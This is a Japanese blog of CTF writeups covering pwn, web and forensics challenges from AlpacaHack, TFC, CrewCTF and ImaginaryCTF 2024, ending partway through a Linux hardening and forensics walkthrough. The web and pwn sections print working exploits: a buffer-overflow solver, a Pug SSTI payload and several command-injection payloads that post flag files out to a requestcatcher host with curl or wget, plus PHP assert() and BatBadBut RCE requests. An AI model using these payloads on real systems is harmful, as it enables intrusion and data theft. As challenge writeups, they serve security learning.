はまやんはまやんはまやん

hamayanhamayan's blog

AlpacaHack Round 1 (Pwn) Writeup

https://alpacahack.com/ctfs/round-1

[pwn] echo

c言語で書かれたソースコードmain.cとビルド済みバイナリechoが与えられる。ソースコードは以下。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

win関数が呼べればフラグが得られる。流れとしてはecho関数に入ったあと、get_size関数で入力文字長を取得して、get_data関数でデータを入力している。checksecでバイナリを見てみよう。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Stackを見るとリターンアドレス書き換えを防止するCanaryが付いていない。win関数を呼べればフラグが得られるという点も考えても、リターンアドレスを書き換えればよさそうだ。

get_data関数はsize文字分読み取ってbufに書き込んでいる。bufはBUF_SIZE分取られているので、これを超えて書き込むことができればリターンアドレスを書き換えて、関数から戻った先をwin関数に変えることができる。

get_data関数で使うsizeはget_size関数で取得しているが、ここでsizeがBUF_SIZEを超えないように検証処理が入っている。get_size関数を再掲しよう。

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

abs関数を使って負の数を受け入れないようにしている。これを回避する方法が無いかpwn ctf absとかで調べてみたが見当たらない。ChatGPTに聞いてみると教えてくれた。

Q: absって壊れたりしますか?
A: abs 関数自体が壊れることは通常ありませんが、特定の状況や誤った使い方によって問題が生じる場合があります。

[省略]

abs 関数で問題が発生する可能性のあるシナリオ
符号付き整数のオーバーフロー:
abs 関数を INT_MIN に適用すると、オーバーフローが発生する可能性があります。例えば、32ビットの int 型では、INT_MIN は -2147483648 です。これを絶対値にすると 2147483648 となりますが、int の最大値は 2147483647 であるため、これを表現できずにオーバーフローが発生します。

なるほどー!!ということで-2147483648を入力することで自由文字長入力できるようになる。あとは、バッファーオーバーフローでリターンアドレスを書き換えよう。

gdb+pedaでechoを起動してスタックの状態を見てみる。gdb ./echoで起動してstartでステップ実行開始。niで進んでいき、echo関数に入りたいので0x4013cf <main+53>: call 0x401321 <echo>まで来たら中に入るためにstepする。そこからniでさらに進むとスタックが整ってくるので、数ステップ行ったらstack 50とかでスタックが見られる。

0272| 0x7fffffffdca0 --> 0x7fffffffdcb0 --> 0x1
0280| 0x7fffffffdca8 --> 0x4013d4 (<main+58>:   mov    eax,0x0)
0288| 0x7fffffffdcb0 --> 0x1

以上のようにオフセットが280の地点にmain関数へのリターンアドレスが書いてあった。bufへの書き込みもniで進めていきAAAAAを書き込んでみると

0000| 0x7fffffffdb90 --> 0x4141414141 ('AAAAA')

のようにオフセット0の地点から書き込まれることが分かった。(ちゃんと計算する方が地力が付きそうだが…)スタックの状態を見るとbufに280バイト分ゴミデータを書き込んだあと、win関数のアドレスを書き込めばリターンアドレスをwin関数のものに変更ができる。ということで以下のようにpwntoolsを使ってソルバーを書くとフラグ獲得。

from pwn import *

win = ELF("./echo").symbols["win"]

p = process('./echo')
#p = remote("[redacted]", [redacted])

p.sendlineafter(b"Size: ", b"-2147483648")
p.sendlineafter(b"Data: ", b'A' * 280 + p32(win))
print(p.recvall())

TFC CTF 2024 Writeup

https://ctftime.org/event/2423

[web] GREETINGS

ソースコード無し。名前を入力するサイトが与えられる。とりあえずSSTIを試すと成功した。#{9*9}と入力すると81と帰ってきた。適当にガチャガチャやるとエラーメッセージが出て、そこからPugが使われていることが分かった。

ということでHackTricksから適当にPayloadを持ってきて試すと以下でフラグがrequestcatcherに送られてきた。

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('cat flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @-')}()}

[web] FUNNY

ソースコード有り。Apache2 + phpの環境が与えられる。phpファイルで書かれている部分は特に意味がありそうな部分は無いため、環境設定に問題があるのだろうという方針で解く。httpd.confをデフォルト設定と比較しながら見ていくと怪しい設定がある。

ScriptAlias /cgi-bin /usr/bin

なんだこれと思いながら調べるとこういうページが見つかったりして、非常に良くないことが分かる。試しにGET /cgi-bin/hogeとしてみると404応答があり、GET /cgi-bin/wgetとすると500応答があった。いい感じに参照できている。先のページを見ると引数をクエリストリング経由で与えることができるらしいのでwgetコマンドとrequestcatcherで疎通確認してみる。

適当にrequestcatcherを用意して以下のようにリクエストを飛ばしてみるとリクエストが飛んでくる。

GET /cgi-bin/wget?https%3a%2f%2ffsdkj32i4jk3.requestcatcher.com%2ftest HTTP/1.1
Host: localhost:4444

こうやって書くと、wget https://fsdkj32i4jk3.requestcatcher.com/testと解釈してくれるようだ。ok. 引数を複数入れることができればフラグが抽出できるが、調べると+%ADd+がスペースとして認識されるようだ。よって--post-file=/flag.txtを入れ込むことにして以下のようにリクエストすればフラグがrequestcatcherに送られる。

GET /cgi-bin/wget?https%3a%2f%2ffsdkj32i4jk3.requestcatcher.com%2ftest+%ADd+--post-file%3d%2fflag.txt HTTP/1.1
Host: localhost:4444

[web] SAFE_CONTENT

ソースコードとして/src.phpが参照可能で、重要なのは以下の部分。

<?php

function isAllowedIP($url, $allowedHost) {
    $parsedUrl = parse_url($url);
    
    if (!$parsedUrl || !isset($parsedUrl['host'])) {
        return false;
    }
    
    return $parsedUrl['host'] === $allowedHost;
}

function fetchContent($url) {
    $context = stream_context_create([
        'http' => [
            'timeout' => 5 // Timeout in seconds
        ]
    ]);

    $content = @file_get_contents($url, false, $context);
    if ($content === FALSE) {
        $error = error_get_last();
        throw new Exception("Unable to fetch content from the URL. Error: " . $error['message']);
    }
    return base64_decode($content);
}

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['url'])) {
    $url = $_GET['url'];
    $allowedIP = 'localhost';
    
    if (isAllowedIP($url, $allowedIP)) {
        $content = fetchContent($url);
        // file upload removed due to security issues
        if ($content) {
            $command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';
            exec($command . ' > /dev/null 2>&1');
            // this should fix it
        }
    }
}
?>

ということで$command = 'echo ' . $content . ' | base64 > /tmp/' . date('YmdHis') . '.tfc';でコマンドインジェクションができそうなので、このcontentにhoge && [arbitrary command] && echo hogeを入れることができればRCE達成。そのためには、isAllowedIP関数にあるようにparse_urlの応答のhostがlocalhostであり、かつ、file_get_contentsに通したときの応答が任意の文字列であるような入力を作り出す必要がある。

ここからは理論無しの試行錯誤。ガチャガチャやってるとdata://localhost/plain,hogehogeを入力するとlocalhostの検証を回避し、file_get_contentsの戻り値をhogehogeにすることができた。data://text/plain,ほにゃららで任意の文字列を返す方法があり、それをガチャガチャやってると出てきた。

ということで以下のようにpayloadを作るとフラグが手に入る。

  1. payload作り。コマンドインジェクションで、curlで情報を抜き出すものにした。 hoge && cat /flag.txt | curl https://[yours].requestcatcher.com/ -X POST -d @- && echo hoge
  2. fetchContent関数では、file_get_contentsの応答をbase64_decodeに通して返しているので手順1のpayloadをbase64にする aG9nZSAmJiBjYXQgL2ZsYWcudHh0IHwgY3VybCBodHRwczovL1t5b3Vyc10ucmVxdWVzdGNhdGNoZXIuY29tLyAtWCBQT1NUIC1kIEAtICYmIGVjaG8gaG9nZQ==
  3. data://localhost/plain,[手順2のbase64エンコード物]のようにURLを組み立てて、これを送ると指定のrequestcatcherにフラグが飛んでくる

CrewCTF 2024 Writeup

[web] Malkonkordo

ソースコード有り。Rustで書かれたMarkdownビューワーが与えられる。ソースコードを巡回すると管理者限定でコマンド実行できるエンドポイント GET /ai/run がある。これを動かす前に管理者であることを確認するフィルターがある。

async fn middleware_localhost<E: Endpoint>(next: E, req: Request) -> Result<Response> {
    // No authentication? -T // "I [too] like to live dangerously." -V
    if let Some(host) = req.uri().host().or(req.header("host")) {
        if !host.trim_start().starts_with("127.0.0.1") {
            return Err(Error::from_status(StatusCode::UNAUTHORIZED));
        }
    } else {
        return Err(Error::from_status(StatusCode::UNAUTHORIZED));
    }

    let resp = next.call(req).await?.into_response();
    Ok(resp)
}

接続元が127.0.0.1からであることを確認するものだが、req.header("host")というのがありHostヘッダーからも情報取得していた。なのでリクエストヘッダーのHostヘッダーに127.0.0.1を入れれば偽装できる。試しに以下のようにリクエストを飛ばしてみると環境変数の一覧が得られた。

GET /ai/run?cmd=env&arg= HTTP/1.1
Host: 127.0.0.1


→

…
CARGO: \\?\C:\Users\ctf\.rustup\toolchains\1.76-x86_64-pc-windows-msvc\bin\cargo.exe
…

環境変数を見るとRustのバージョンは1.76のようである。実行可能なコマンドはいくつかあるが、ping2というのにブラックリストフィルタリングが実装されていて、しかもバッチファイルを呼び出していて非常に怪しい。

"ping2" => {
    if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) {
        return Err("bad chars found".to_string());
    }
    let routput = Command::new(".\\scripts\\ping.bat")
        .arg(arg)
        .output();

    if let Err(_e) = routput {
        return Err("failed to run ping2 output".to_string());
    }

    Ok(String::from_utf8_lossy(&routput.unwrap().stdout).to_string())
}

シェルスクリプトではなくバッチファイルが動いている。これは…BatBadButか?

blog.flatt.tech

Rustも同様に影響があり、関連するSecurity Advisoryを見ると1.77.2未満のバージョンが影響を受けるので環境変数の情報から脆弱なバージョンであることが分かる。

試していこう。ブログ記事に書かれているpayloadの"&calc.exeを入れてみる。だが、これはブラックリストフィルタリングに阻まれてbad chars foundと言われてしまう。

ブログ記事をよく読むと"が使えない場合の回避方法も書かれていて"が含まれる環境変数から"を持って来るやり方が紹介されていた。これを適用し、%CMDCMDLINE:~-1%&calc.exeとやってみると応答が帰ってきて、そのうちの入力値が跳ね返ってくる部分がPinging ""...となっていた。例えばhogeと入れるとPinging hoge...のように帰ってくるので、意図せず受け入れられてはいそうなので成功はしていそう。calcではなくhostnameを試してみると… 応答末尾にacce4aa638aaが含まれてきた!実行した際の標準出力が得られる関係で末尾に応答が乗ってくるようだ。RCE達成できた。

あとは、flag.txtを取得したいので、Windows環境ではtype.exeを使う。スペースが使えるのか分からなかったがやってみると使えて、具体的には%CMDCMDLINE:~-1%&type.exe flag.txtをargとした以下のようなリクエストでフラグが得られる。

GET /ai/run?cmd=ping2&arg=%25CMDCMDLINE%3a~-1%25%26type.exe%20flag.txt HTTP/1.1
Host: 127.0.0.1


→

HTTP/1.1 200 OK
…

Network checking finished!
crew{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}

[forensics] Recursion

USB通信のパケットキャプチャ usb.pcapng が与えられる。何の通信か正確には分からないが、Windowsベースでファイルのやり取りをしているように見える。binwalkでひたすらファイルカービングすると解けた。

binwalkする。

$ binwalk -e usb.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13811         0x35F3          gzip compressed data, maximum compression, has original file name: "layer4.pcapng", from FAT filesystem (MS-DOS, OS/2, NT), last modified: 2024-04-06 09:43:23

layer4.pcapngが得られた。さらにbinwalkしよう。

$ binwalk -e layer4.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
14095         0x370F          7-zip archive data, version 0.4

$ dd ibs=1 obs=1 skip=14095 if=layer4.pcapng of=out.7z

自動で展開されなかったのでddコマンドで手動で持ってきて解凍すると、layer3.pcapngが得られた。どんどんbinwalkしていくと、layer1.pcapngまで得られる。

$ binwalk -e layer3.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13527         0x34D7          POSIX tar archive (GNU), owner user name: "capng"

$ binwalk -e layer2.pcapng

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
22811         0x591B          Zip archive data, at least v2.0 to extract, compressed size: 3048, uncompressed size: 54768, name: layer1.pcapng
25961         0x6569          End of Zip archive, footer length: 22

$ binwalk -e layer1.pcapng 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

$ strings layer1.pcapng | grep crew
crew{■■■■■■■■■■■■■■■■■■}

layer1.pcapngからは何も出てこなかったのでstringsするとフラグが得られる。

ImaginaryCTF 2024 Writeups

https://ctftime.org/event/2396

[forensics] bom

chal.txtというファイルが与えられる。全部中国語の文字のように見えるが、hdコマンドをして、各文字をasciiに変換するとフラグになった。

ascii文字の先頭にUTF-16のBOMのFE FFを付けたファイルのようだった。

$ hd chal.txt 
00000000  fe ff 69 63 74 66 7b 74  68 34 74 5f 69 73 6e 37  |..ictf{th4t_isn7|
00000010  5f 63 68 69 6e 33 73 65  7d                       |_chin3se}|
00000019

[forensics] packed

routed.pkzというCiscoのPacket Tracerというソフトで開けるファイルが与えられる。fileコマンドしてみるとzipだったので解凍するとsecret.pngというファイルが解凍されてきてフラグが書いてあった。

[forensics] crash

dump.vmemというメモリダンプが与えられる。stringsして適当に眺めるとWindowsのものだった。Volatility 3で解析してみよう。

問題文はI didn't save my work...だったので、保存してない何かをメモリから抜いてくるのが目的っぽい。windows.pstreeを見るとnotepad.exeが動いていた。怪しい。

1400 1124    winlogon.exe    0xc60c81e45080  4   -   2   False   2024-07-19 00:28:49.000000  N/A
...
* 4032  1400    userinit.exe    0xc60c811a8300  0   -   2   False   2024-07-19 00:28:50.000000  2024-07-19 00:29:27.000000 
** 4736 4032    explorer.exe    0xc60c80f0d080  64  -   2   False   2024-07-19 00:28:50.000000  N/A
...
*** 2216    4736    notepad.exe 0xc60c81b87080  12  -   2   False   2024-07-19 01:58:24.000000  N/A

notepad.exeのPIDは2216だったのでpython3 ~/.opt/volatility3/vol.py -f dump.vmem windows.memmap.Memmap --pid 2216 --dumpでメモリダンプをしておこう。

メモリダンプをGIMPに食わせて画像復元するテクがあり、これでnotepad.exeのスクリーンショットが見られるというWriteupをいくつか見たのでやってみる。pid.2216.dmppid.2216.dataに変名して、GIMPでOpen ImageからRaw image dataを選択して開く。開く際に縦横を調整できるので、横を1024pxとして縦を適当に増やしてみてみるとaWN0ほにゃらら==みたいなbase64エンコード物が出てきた。これですね、転記してもいいのだが、stringsで持って来てデコードしてみるとフラグが出てきた。

$ strings -e l pid.2216.data | grep == | grep aWN0 | uniq | base64 -d
ictf{■■■■■■■■■■■}

[forensics] routed

packedの続きの問題。使うファイルも同じ。Cisco Packet Tracerを入れてrouted.pkzファイルを開いて中身を巡回してみる。IOS Command Logに面白いログが残っていた。

Time: 火 7 9 13:55:51 2024
Device: Router1
Prompt: Router(config-line)#
Command: password 7 020F074F0D1D0728484A0C173A191D1F330C2B382C2D3728

これか。見たことある。CiscoのType 7形式ではパスワードはエンコードされているだけでハッシュ化ではないので戻すことができる。これをこことかで復号化すればフラグが手に入る。

[forensics] System Hardening 10 解けなかった

本番では解き切れなかったが、面白かったので復習しておいた。長いので別記事。

blog.hamayanhamayan.com

[web] readme 解いたが解けてない。

(恐らく)作問ミスでフラグがソースコードに含まれていた。本来の問題については解けてない。

[web] journal

ソースコード有り。phpでファイルが見られるアプリが与えられる。フラグの場所を見るとDockrefileに以下のように書いてある。

RUN mv /flag.txt /flag-`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt

つまり/flag-ほにゃららにフラグがあるのでRCEが要求されていそう。外部から入力値を受け付けそうな部分は以下。

if (isset($_GET['file'])) {
  $file = $_GET['file'];
  $filepath = './files/' . $file;

  echo $filepath;

  assert("strpos('$file', '..') === false") or die("Invalid file!");

  if (file_exists($filepath)) {
    include($filepath);
  } else {
    echo 'File not found!';
  }
}

パストラバーサルはassertでブロックされていたが、ここで逆に脆弱性を作り込んでいる。

assert("strpos('$file', '..') === false") or die("Invalid file!");

ここ。HackTricksにもあるRCE via Assert()を使う。system関数を入れ込んでみよう。' .system("id"). 'をfileに入れてみるとidコマンドが実行された。なので以下のようにls /を実行してみるとflag-cARdaInFg6dD10uWQQgm.txtというファイル名が得られたので最終的に以下のようにリクエストするとフラグが得られる。

GET /?file='%20.system(%22cat%20%2fflag-cARdaInFg6dD10uWQQgm.txt%22).%20' HTTP/1.1
Host: journal.chal.imaginaryctf.org
Connection: keep-alive

[web] P2C

ソースコード有り。問題文にThe flag is located in flag.txt.とあるのでflag.txtを取得してくるのがこの問題のゴール。pythonで出来たコードを実行して、その結果を色に変換するサイトが与えられる。

@app.route('/', methods=["GET", "POST"])
def index():
    res = None
    if request.method == "POST":
        code = request.form["code"]
        res = xec(code)
        valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
        if res == None:
            return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
        if valid.match("".join(res.strip().split("\n")[-1])):
            return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
        return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
    return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")

codeで受け取ったコードをxec関数で実行してその結果を出力している。結果が出力されるには抜粋すると以下のように正規表現で検証されてpassすれば表示される。

valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
…
if valid.match("".join(res.strip().split("\n")[-1])):

これを見ると(1, 2, 3)みたいな入力であればいいことが分かる。次にxec関数は以下のような感じ。

def xec(code):
    code = code.strip()
    indented = "\n".join(["    " + line for line in code.strip().splitlines()])

    file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
    with open(file, 'w') as f:
        f.write("def main():\n")
        f.write(indented)
        f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

    os.system(f"chmod 755 {file}")

    try:
        res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
        output = res.stdout
    except Exception as e:
        output = None

    os.remove(file)

    return output

単純にexecしているのでは無く、ファイルを作成してその戻り値を結果として受け取っている。入力されたコードはmain関数の中身として利用され、そのreturnを別の関数rgb_parseを使って変換して出力している。rgb_parse関数の内容は抜粋するがTupleで3つの値を返す関数なので出力は期待通り(1, 2, 3)のような形になる。

上記で説明した正規表現とファイルを作成して実行している部分の2つの部分にそれぞれ脆弱な箇所がある。

まず、正規表現re.matchが使われているが、正規表現を見ても、文字列の先頭がマッチしていればいいので(1, 2, 3)hogehogeという出力でも検証が通ってしまう。

次に、ファイルを作成して実行している部分は最終的には標準出力の最後の行が利用されるため、rgb_parseを通っているかどうかは特に問題ではない。つまり、main関数の中で結果を出力させてexitしてしまえばrgb_parseを実行せずにpython実行を終了させることができ、任意の値を返すことができてしまう。

この2つの合わせると任意のpythonコード結果を出力させることができてしまう。具体的には以下のようなリクエストを使う。

POST / HTTP/1.1
Host: p2c.chal.imaginaryctf.org
Content-Length: 58
Content-Type: application/x-www-form-urlencoded

code=print(%22(1%2c%202%2c%203)%22%2b%22hoge%22)%2cexit(0)

code部分はデコードするとprint("(1, 2, 3)"+"hoge"),exit(0)である。printで先頭に適当なカラーコードを置いておいて、その後任意の文字列を入れ込む。あとはexit(0)で強制終了させるというコード。これを実行するとchangeBackgroundColor("rgb(1, 2, 3)hoge");のようにhogeが帰ってくることが確認できる。あとはflag.txtを取得して表示させればよいので以下のようなcodeを送ればフラグが応答に含まれてくる。

print("(1, 2, 3)"+open('flag.txt').read()),exit(0)

[web] crystals

ソースコード有り。rubysinatraで書かれたwebサーバが与えられる。カスタムコードは以下のような感じで何もしないサーバ。

require 'sinatra'

# Route for the index page
get '/' do
  erb :index
end

最も特筆すべき部分がフラグがhostnameに書かれているという部分。docker-compose.ymlに以下のように記載がある。

version: '3.3'
services:
  deployment:
    hostname: $FLAG
    build: .
    ports:
      - 10001:80

これは調査系だな…と思いsinatraを特に標準で追加される何かが無いかを探していく。経緯は忘れてしまったがセッティングのenvironmentにdevelopmentという設定値があることを発見する。しかも、デフォルト設定はdevelopmentのようだ。

キーワードが得られたのでChatGPTに聞いてみる。

Q: sinatraをdevelopmentで動かすと何が追加されますか? A: Sinatraをdevelopment環境で動かすと、いくつかの便利な機能や設定がデフォルトで有効になります。これにより、開発中のデバッグやリロードが容易になります。以下は、development環境での主な追加機能と設定です:

自動リロード sinatra/reloader ミドルウェアが有効になります。これにより、コードを変更するたびにサーバーを手動で再起動する必要がなくなります。ファイルが変更されると、自動的に再読み込みが行われます。

詳細なエラーページ development環境では、詳細なエラーページが表示されます。これは、アプリケーションでエラーが発生した場合に、スタックトレースやエラーの詳細情報を確認できるため、デバッグが容易になります。

ログの詳細化 development環境では、より詳細なログが出力されます。これにより、リクエストやレスポンスの詳細を確認しやすくなり、デバッグトラブルシューティングが容易になります。

デフォルトのポート デフォルトでは、Sinatraはdevelopment環境でポート4567で動作します。他の環境(例えばproduction)では、別のポートを指定することが多いです。

この中から「詳細なエラーページ」を深堀すると解けた。何とかエラーを発生させることができれば、良い感じに詳細なエラーページを表示させることができ、そこにホスト名が含まれてくるかもしれない。

CSP回避の時に見た「431エラーを使ったCSP回避テク」と同じテクを使うとエラーページを出すことができた。。長いクエリストリングを使うことでサーバ側のバリデーションエラーを誘い、エラーページを表示させる。そこにフラグが含まれていた。

$ curl http://[redacted].org/?$(python3 -c "print('A'*4000)")
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<HTML>
  <HEAD><TITLE>Request-URI Too Large</TITLE></HEAD>
  <BODY>
    <H1>Request-URI Too Large</H1>
    WEBrick::HTTPStatus::RequestURITooLarge
    <HR>
    <ADDRESS>
     WEBrick/1.8.1 (Ruby/3.0.2/2021-07-07) at
     ictf{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}:4567
    </ADDRESS>
  </BODY>
</HTML>

ImaginaryCTF 2024 Writeup - System Hardening 10

以下設問たくさんありますが、1つの問題です。

問題の概要

windows user meets linux; pls secure my machine sussy baka. hope you like the surprise.

VMWareのプロジェクト一式が与えられる。起動してみると、ディスク暗号化がかかっているので問題文で与えられているパスワードでブートする。ログイン時も認証情報が問題文に書かれているのでそれでログインする。入った直後に~/readme.txtを見てみると問題の解き方が書かれている。(後で要約を書くので真面目に読まなくてOKです)

$ cat readme.txt 
Please read the entire README thoroughly before modifying anything on this computer.

You will receive points for answering any "Forensics Questions" on your Desktop correctly. Valid (scored) "Forensics Questions" will only be located directly on your Desktop. We highly recommend reading all "Forensics Questions" thoroughly before doing anything to this computer, because you could destroy information necessary for answering the forensics question.

Critical services:
Samba (anonymous)
MySQL Server (anonymous)
SSH (key authentication)

Help! The Skeld has set up a new server, but all sorts of stuff have gone wrong! They have asked you to secure their system for them. It's urgent, because there is an imposter among us!

In this image, you will be scored based on how many security misconfigurations and vulnerabilities in the image that you can mitigate. When you receive 100 points from 27 unique scored items, you will receive the correct flag in your home directory. Otherwise, the flag will be fake.

If scoring crashes, you can restart it with "systemctl restart ScoringEngine". You can view your scoring report easily by running "score".

Ensure that all your MySQL configurations go into /etc/mysql/mysql.conf.d/mysql.cnf. This is by Skeld policy. In addition to this, make sure that proper access control and hardening steps are taken.     

Authorized admins:
red
    Password: Pa$$w0rd10
blue
green

Authorized Users:
red
blue
green
pink
orange
yellow
black
white
purple
brown
cyan
lime
tan
maroon
rose
banana
gray
coral

要約すると、この環境は脆弱な環境で侵害済みの環境で、フォレンジックをしてForensics Question 1~8を答え、また、設定ミスや脆弱性を潰して環境をハードニングするとポイントが得られ、最終的に100ポイント手に入れるとフラグがもらえるという問題。ハーデニングも一部やるが全体としてはDFIR。少し抜粋しているが、書かれている付帯情報を要約すると以下のような感じ。

  • クリティカルなサービス
    • Samba (anonymous)
    • MySQL Server (anonymous)
    • SSH (key authentication)
  • カスタムコマンド
    • スコアリングが壊れたら systemctl restart ScoringEngine
    • 現在スコアを確認するには score
  • ヒント Ensure that all your MySQL configurations go into /etc/mysql/mysql.conf.d/mysql.cnf. This is by Skeld policy. In addition to this, make sure that proper access control and hardening steps are taken.
  • Authorized admins
    • red: Pa$$w0rd10
  • Authorized Users
    • maroon

最終形

多分最初に最終形を見せた方が分かりやすいと思う。scoreコマンドで状況確認できるので解く前に確認すると以下のようになる。

$ score
Scoring Report
0 out of 27 scored vulnerabilities found
0 out of 100 points earned

最初は27問あって0問解けていて100点中0点。これをForensics Questionに答えたり、設定変更をしてセキュアにしていくと最終的に以下のような出力になる。

$ score
Scoring Report
Forensics Question 1 Correct (apache2, sucrack, wapiti, yersinia) - 6 pts
Forensics Question 2 Correct (04-05-2027) - 6 pts
Forensics Question 3 Correct (MD5) - 6 pts
Forensics Question 4 Correct (172.26.239.141) - 6 pts
Forensics Question 5 Correct (/srv/share/.../.../.../.../.../.skibidi_toilet.jpg) - 6 pts     
Forensics Question 6 Correct (M@rooned$hrooms) - 6 pts
Forensics Question 7 Correct (system_process.py) - 6 pts
Forensics Question 8 Correct (294792) - 6 pts
No users are part of the shadow group - 3 pts
Sudo does not preserve environment variables - 2 pts
IPv4 TCP TIME-WAIT assassination protection enabled - 2 pts
IPv4 TCP SYN cookies enabled - 2 pts
IPv4 IP forwarding disabled - 2 pts
Kernel pointers hidden from all users - 2 pts
Restrict unprivileged access to BPF enabled - 2 pts
Restrict unprivileged access to the kernel syslog enabled - 2 pts
Removed insecure permissions on passwd file - 3 pts
Removed insecure permissions on group file - 2 pts
Shadow is owned by root - 2 pts
Removed SUID bit from nano - 3 pts
Fixed insecure permissions on Samba share folder - 3 pts
AppArmor service has been started - 3 pts
Samba encryption is required - 4 pts
SSH root login disabled - 4 pts
SSH strict modes enabled - 4 pts
SSH does not permit empty passwords - 3 pts
MySQL local infile option disabled  - 4 pts
27 out of 27 scored vulnerabilities found
100 out of 100 points earned

こうなれば、フラグがもらえる。ちなみにForensics Question以外の題名は公開されていないので、環境を見ながら推測で改善活動をしていく必要がある。

解く前に

そのままVMWareでは解きにくかったのでちょっとだけカスタムしてから解き始める。ちなみにOSはUbuntu 22.04

  • 英語キー配列だったのでsudo dpkg-reconfigure keyboard-configurationで日本語にして再起動
  • ホストオンリーのネットワークにつないで、IPアドレス周りの設定をあれこれやってsshで接続

解いている途中にジャーナルログに環境構築時のコマンドが丸々残っていることに気が付いたので、それを見ながら若干ずるをしてtry-and-errorを減らしながら効率的に解いていった。これが無かったら大分guessがきつくて大変だったと思う。(nessus入れてCIS benchmarks回した方が早いんじゃないかな)

Forensics Question

問題が書かれたForensics Question 1.txtForensics Question 8.txtというファイルがあり、各ファイルの末尾にあるANSWER:の後に答えを書いて保存してしばらく待つと正誤判定してくれる。

Forensics Question 1 - 6 pts 解けなかった

Some sussy amogi have recently been playing around with our systems and have installed multiple prohibited programs onto this computer. Find the 4 prohibited programs that have been downloaded onto this system.

Use the full program names and list them in alphabetical order, separated by commas. (EXAMPLE ANSWER: aircrack-ng, hashcat, john, wireshark)

4つ禁止されたプログラムがあるので探して答えよという問題。問題に不備があり、問題文で答えの1つが提供されていた。

For Forensics Question 1 on System Hardening 10, one of the unauthorized programs isn't installed correctly, and doesn't show up as intended. One of the four unauthorized programs for the answer to this question is wapiti.

1つはwapitiのようだ。ジャーナルログで怪しいインストールログが残っていた。

Jul 19 06:03:37 skeld sudo[4661]:     root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install meshagent
Jul 19 06:04:09 skeld sudo[4673]:     root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install wapiti
Jul 19 06:05:32 skeld sudo[5024]:     root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install yersinia
Jul 19 06:05:47 skeld sudo[5617]:     root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install sucrack
Jul 19 06:06:40 skeld sudo[5713]:     root : TTY=pts/1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/apt install brutus

ファイルが残っているか検証すると以下のようになった。

  • brutus -> 見つからず
  • meshagent -> 見つからず
  • sucrack -> /usr/bin/sucrack
  • wapiti -> 見つからず
  • yersinia -> /usr/bin/yersinia

ok. wapitiは答えに含まれることがヒントで得られているのであと一つ…と思ったが、一向に怪しいバイナリが見当たらずコンテスト終了。

終了後に答えを見るとapache2が残りの1つだった。確かにapacheが動いてない状態で置いてはあったがスルーしていた。HTTPサーバを公開して適当に悪用するということだろうが、どこかに悪用を裏付ける情報あったっけ。あまり納得はいかないが、これで答えが揃った。apache2, sucrack, wapiti, yersiniaが答え。6ポイント獲得。

Forensics Question 2 - 6 pts

User purple seems to never have to change his password when compared to his peers. When does purple's password expire?

Answer in the format MM-DD-YYYY. (EXAMPLE ANSWER: 01-01-2025)

purpleユーザーのパスワードの失効日を答える問題。問題に不備があり、問題文に答えが提供されていた。

It looks like Forensics Question 2 on System Hardening 10 is not working as intended. The question should score with the answer 04-05-2027.

04-05-2027を答えてみるとポイントが6ポイント増えた。

Forensics Question 3 - 6 pts

Recently, it has been noticed that user passwords have begun to rapidly become compromised. We suspect that this is due to an insecure hashing algorithm beingused for our passwords. What is the name of the insecure hashing algorithm being used?

